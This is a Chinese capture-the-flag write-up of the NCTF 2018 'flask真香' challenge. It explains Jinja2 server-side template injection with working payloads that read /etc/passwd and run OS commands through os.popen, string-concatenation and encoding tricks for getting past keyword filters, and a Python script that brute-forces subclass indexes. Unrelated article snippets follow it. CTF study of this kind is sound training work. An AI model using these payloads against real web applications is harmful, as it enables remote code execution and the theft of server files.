[NCTF 2018]flask真香

news2024/11/26 5:22:32

          打开题目后没有提示框,尝试扫描后也没有什么结果,猜想是ssti。所以尝试寻找ssti的注入点并判断模版。

                                                                                                                                                           

模版判断方式:

在url地址中输入{7*7} 后发现不能识别执行。

                                                                                                                                                              尝试{{7*7}} ,执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板

                                                                                                                                                           

页面回显7777777,证明是jinjia2模板注入。接下来就可以利用漏洞尝试读取文件或者执行命令

  • 读取 /etc/passwdhttp://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
  • 执行命令(假设找到 os.system 子类):http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[396]('ls').__call__()}}

常用类及语法:

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。

__str__():返回描述该对象的字符串,通常用于打印输出。

url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。

get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。

lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。

current_app:应用上下文的全局变量。

request:用于获取绕过字符串的参数,包括以下内容:

- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。

config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。

g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。

1)__class__用来查看变量所属的类,格式为变量.__class__

利用方式:

输入''.__class__
回显<class 'str'>

输入().__class__
回显<class 'tuple'>

输入{}.__class__
回显<class 'dict'>

输入[].__class__
回显<class 'list'>

(2)__bases__用来查看类的基类,格式为变量.__class__.__bases__

利用方式:

输入''.__class__.__bases__
回显(<class 'object'>,)

输入().__class__.__bases__
回显(<class 'object'>,)

输入{}.__class__.__bases__
回显(<class 'object'>,)

输入[].__class__.__bases__
回显(<class 'object'>,)

同时可结合数组,如:
输入 变量.__class__.__bases__[0]
可获得第一个基类                                                           

因此可以用{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}读取所有子类。

尝试后显示500,说明其中有一些语句是被过滤的。

用fuzz字典爆破过滤内容,发现过滤内容有很多,不是很清楚怎么进一步确定具体的过滤字符,参考别人的wp得知过滤内容如下:

class
subclasses
config
args
request
open
eval
import

有过滤的绕过方式:

1. 基于字符串连接运算符

不同的模板引擎可能支持不同的字符串连接运算符:

  • Jinja2 (Python): 可以使用 + 运算符
  • Twig (PHP): 可以使用 ~ 运算符
  • ERB (Ruby): 可以使用 + 运算符
jinjia2(py):
{{ 'c' + 'at /etc/passwd' }}
Twig (PHP):
{{ 'c' ~ 'at /etc/passwd' }} 
ERB (Ruby):
<%= 'c' + 'at /etc/passwd' %>

2. 使用内置函数和方法

许多模板引擎提供了处理字符串的内置函数或方法,可以用来拼接字符串:

jinjia2(py):
{{ ''.join(['c', 'at', ' ', '/etc/passwd']) }}
Twig (PHP):
{{ ['c', 'at', ' ', '/etc/passwd']|join }}
ERB (Ruby):
<%= ['c', 'at', ' ', '/etc/passwd'].join %>

3. 十六进制或 Unicode 编码

如果某些字符被直接过滤,可以尝试使用十六进制或 Unicode 编码绕过:

jinjia2(py):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
Twig (PHP):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
ERB (Ruby):
<%= "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" %>

这题是有过滤构造payload,首先尝试字符串拼接的方式,因为这题的模版是jinjia2,所以连接符是“+”,构造payload:

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}

  • ()['__cla'+'ss__']:

    • 通过字符串拼接 __class__ 得到 __class__,访问元组的 __class__ 属性,返回元组的类对象 <class 'tuple'>
  • .__base__:

    • 访问 <class 'tuple'>__base__ 属性,即基类,返回 <class 'object'>
  • ['__subcl'+'asses__']():

    • 通过字符串拼接 __subclasses__ 得到 __subclasses__,调用 __subclasses__() 方法,返回一个包含所有子类的列表。

构造payload的基本步骤:

  1. 获取所有子类(jinjia2)

{{ [].__class__.__base__.__subclasses__() }}
  1. 查找文件操作类

通过索引访问子类,找到文件操作类:

{{ [].__class__.__base__.__subclasses__()[index] }} 
  1. 读取文件内容

一旦确定文件操作类的位置,可以读取文件内容:

{{ [].__class__.__base__.__subclasses__()[index]['__init__'].__globals__['__builtins__']['open']('/etc/passwd').read() }}

接下来通常使用查找eval函数或者是os模块来执行我们需要的命令

eval函数与os模块的作用:

eval 函数:

可以直接执行传入的字符串作为代码。因此,找到 eval 函数意味着可以执行任意代码,这通常是最直接和强大的攻击方式。

os模块:

os 模块提供了执行系统命令、文件操作等功能,利用 os 模块可以执行系统命令、读取或写入文件。

可以用这个脚本找到eval函数的位置,但这题找不到eval。

import requests

url = input("请输入 URL:")

found = False

for i in range(500):
    try:
        # 构造 payload
        payload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"
        data = {"name": payload}
        
        # 发送 POST 请求
        response = requests.post(url, data=data)
        
        # 检查响应状态码
        if response.status_code == 200:
            print(f"Response for index {i}: {response.text}")
            # 检查响应内容是否包含 "eval"
            if "eval" in response.text:
                print(f"Found eval at index: {i}")
                found = True
                break  # 找到后退出循环
    except Exception as e:
        print(f"Error at index {i}: {e}")

if not found:
    print("Did not find eval in the first 500 subclasses.")

尝试找os模块

找到了它的位置,可以构造payload验证一下。

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()[304]}}

验证说明正确,找到os模块后可以执行任意系统命令,

{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[304].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}

思路总结:

1、查看是否存在注入点,一般存在于:
  • 表单输入:检查应用程序中的所有表单,特别是那些将用户输入显示在页面上的表单字段。
  • URL 参数:观察 URL 中的参数,特别是那些用于动态生成内容的参数。
  • HTTP 头:某些应用程序会将 HTTP 头的信息(如 User-Agent、Referer)渲染到页面中。
  • Cookie:有时应用程序会将 Cookie 中的值渲染到页面中。
2、确定模板类型

例如:Jinja2 (Python)、 Freemarker (Java)、Twig (PHP)、ERB (Ruby)

3、初步构造payload,获取全局变量

(这个步骤注意查看页面,看是否存在过滤)

4、查找关键类、模块

eval、os模块等

5、根据查到的信息构造payload

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1816847.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux - 信号阻塞 信号捕捉

Linux - 信号阻塞 & 信号捕捉 信号阻塞信号集操作信号集sigporcmasksigpendingsigaction 信号捕捉用户态与内核态信号捕捉的时机 在博客[Linux - 信号概念 & 信号产生]中&#xff0c;我讲解了信号的基本概念&#xff0c;以及信号是如何产生的&#xff0c;本博客将继续讲…

2024年6月12日 (周三) 叶子游戏新闻

万能嗅探: 实测 网页打开 某视频号、某音、某红薯、某站&#xff0c;可以做到无水印的视频和封面下载功能哦&#xff0c;具体玩法大家自行发挥吧。 WPS免登录一键修改器: 去除烦人的登录且能正常使用 杨奇试戴《黑神话&#xff1a;悟空》豪华版金箍 效果还不错&#xff01;最近…

大型语言模型(LLMs)的后门攻击和防御技术

大型语言模型&#xff08;LLMs&#xff09;通过训练在大量文本语料库上&#xff0c;展示了在多种自然语言处理&#xff08;NLP&#xff09;应用中取得最先进性能的能力。与基础语言模型相比&#xff0c;LLMs在少样本学习和零样本学习场景中取得了显著的性能提升&#xff0c;这得…

西门子PLC位逻辑指令学习(SCL语言)

R_TRIG 参数 功能 当CLK信号出现一个低电平到高电平的跳变时&#xff0c;输出Q导通一个周期。 实例 定义以下类型变量 "R_TRIG_DB"(CLK:"data".source,Q>"data".result); //当source输入出现低电平到高电平跳变&#xff0c;result信号…

File、IO流

File、IO流&#xff08;一&#xff09; 存储数据的方案 以上都是内存中的数据容器&#xff08;记住程序正在处理的数据&#xff0c;能快速运算&#xff09;&#xff0c;它们记住的数据&#xff0c;在断电&#xff0c;或者程序终止时会丢失 程序在内存中处理后的数据想长久的保…

Maven增强插件助你开发快人一步

因为之前的工作中一直用的Maven进行jar包管理&#xff0c;每次新加依赖都要去中央仓库上搜索下坐标&#xff0c;这里为了方便以SerchEveryWhere为入口&#xff0c;增加了一个Maven的搜索tab&#xff0c;输入你想要找的包名即可在idea中直接显示最新版对应的坐标以及cve数&#…

镜舟科技与千丁数科开展战略洽谈,探索智慧空间与数据的深度融合

数据作为当下最重要的生产要素之一&#xff0c;数据分析与智慧空间科技的结合正成为推动企业发展的新引擎 。 5 月 15 日&#xff0c;镜舟科技与千丁数科在北京开展战略合作洽谈。本次会议旨在探索双方在智慧空间科技和数据分析领域的合作潜力&#xff0c;共同推进数字经济的新…

LVS+Keepalived NGINX+Keepalived 高可用群集实战部署

Keepalived及其工作原理 Keepalived 是一个基于VRRP协议来实现的LVS服务高可用方案&#xff0c;可以解决静态路由出现的单点故障问题。 VRRP协议&#xff08;虚拟路由冗余协议&#xff09; 是针对路由器的一种备份解决方案由多台路由器组成一个热备组&#xff0c;通过共用的…

WEB基础--TOMCAT服务器

服务器概述 什么是服务器 服务器&#xff1a;就是一个提供为人民服务的机器&#xff0c;这里的服务器主要指计算机服务器&#xff0c;分为两种&#xff1a;服务器软件和硬件服务器&#xff1b; 服务器分类 1、硬件服务器&#xff1a;安装了服务器软件的主机。就相当于高配的…

dijkstra 算法为什么高效?

最短路径算法中&#xff0c;dijkstra(i&#xff0c;j&#xff0c;k 颇有遍历意味) 算法时间效能很好&#xff0c;而 floyd&#xff0c;bellman-ford 算法则优在处理负权重。但这是为什么&#xff1f; 从算法过程看&#xff0c;dijkstra 算法确定了某点最短路径后&#xff0c;它…

单目标应用:基于红嘴蓝鹊优化器RBMO的微电网优化(MATLAB代码)

一、微电网模型介绍 微电网多目标优化调度模型简介_vmgpqv-CSDN博客 参考文献&#xff1a; [1]李兴莘,张靖,何宇,等.基于改进粒子群算法的微电网多目标优化调度[J].电力科学与工程, 2021, 37(3):7 二、红嘴蓝鹊优化器求解微电网 2.1算法简介 红嘴蓝鹊优化器&#xff08;R…

Sharding-JDBC 使用 Nacos 作为配置中心 【下 代码实战】

Sharding-JDBC 使用 Nacos 作为配置中心 【下 代码实战】 1. 实现 ShardingSphereDriverURLProvider 由上一篇博文我们已经知道了 Sharding-JDBC 是基于 Java SPI 机制去加载 并实例化 ShardingSphereDriverURLProvider 的实现类 public interface ShardingSphereDriverURLP…

3个月搞定计算机二级C语言!高效刷题系列进行中

文章目录 前言备考计算机二级C语言为什么考二级C语言&#xff1f;刷题总结后发布系列文章后记免责声明 前言 大家好&#xff0c;我是梁国庆。 计算机二级应该是每一位大学生的必修课&#xff0c;相信很多同学的大学flag中都会有它的身影。 我在大学里也不止一次的想要考计算…

如何下载iSlide软件及详细安装步骤

iSlide插件是一款能够支持PPT和WPS的ppt插件&#xff0c;旨在让每一个人都能够轻松制作出精美的ppt&#xff0c;能够在职场收到更多的关注&#xff0c;而该软件的口号正是「让 PPT 设计简单起来」&#xff0c;该插件是由原来NT插件升级改良过来的&#xff0c;在功能上面进行了全…

代码随想录算法训练营第51天:股票2

代码随想录算法训练营第51天&#xff1a;股票2 ‍ 123.买卖股票的最佳时机III 力扣题目链接(opens new window) 给定一个数组&#xff0c;它的第 i 个元素是一支给定的股票在第 i 天的价格。 设计一个算法来计算你所能获取的最大利润。你最多可以完成 两笔 交易。 注意&a…

01 Pytorch 基础

1.数据处理 1.取一个数据&#xff0c;以及计算大小 &#xff08;剩下的工作&#xff0c;取batch&#xff0c;pytorch会自动做好了&#xff09; 2.模型相关 如何得到结果 3.模型训练/模型验证: 代码剖析 1.配置文件yaml (字典) #参数配置config {"train_path"…

centos7.6使用飞鱼FlyFish的docker镜像

参考教程&#xff1a; 飞鱼的docker镜像使用教程&#xff1a; doc/FlyFish_docker镜像使用指南.md 云智慧/FlyFish - Gitee.com centos的docker安装教程&#xff1a; CentOS下 Docker、Docker Compose 的安装教程_centos安装docker-compose_centos 安装docker-compose-CSDN…

ER实体关系图与数据库模型图绘制

属性分析 1、用户表(user)、用户钱包表(user_wallet)(与user是1对1关系)、用户钱包交易日志表(user_wallet_log)(与user是1对多关系)。 user&#xff1a;用户表通常包含用户的基本信息&#xff0c;例如用户ID&#xff08;主键&#xff09;、用户名、密码&#xff08;通常加密…

C++ 12 之 指针引用

c12指针引用.cpp #include <iostream>using namespace std;struct students12 {int age; };int main() {students12 stu;students12* p &stu; // 结构体指针students12* &pp p; // 结构体指针起别名pp->age 20;// (*pp).age 22;cout << "…

C++并发之锁(std::lock_guard,std::unique_lock)

目录 1 概述2 使用实例3 接口使用3.1 lock_guard3.2 adopt_lock3.3 defer_lock3.4 try_to_lock3.5 try_lock3.6 release3.7 lock3.8 call_one1 概述 锁保护是通过使互斥对象始终处于锁定状态来管理互斥对象的对象。。   在构造时,互斥对象被调用线程锁定,在析构时,互斥被解…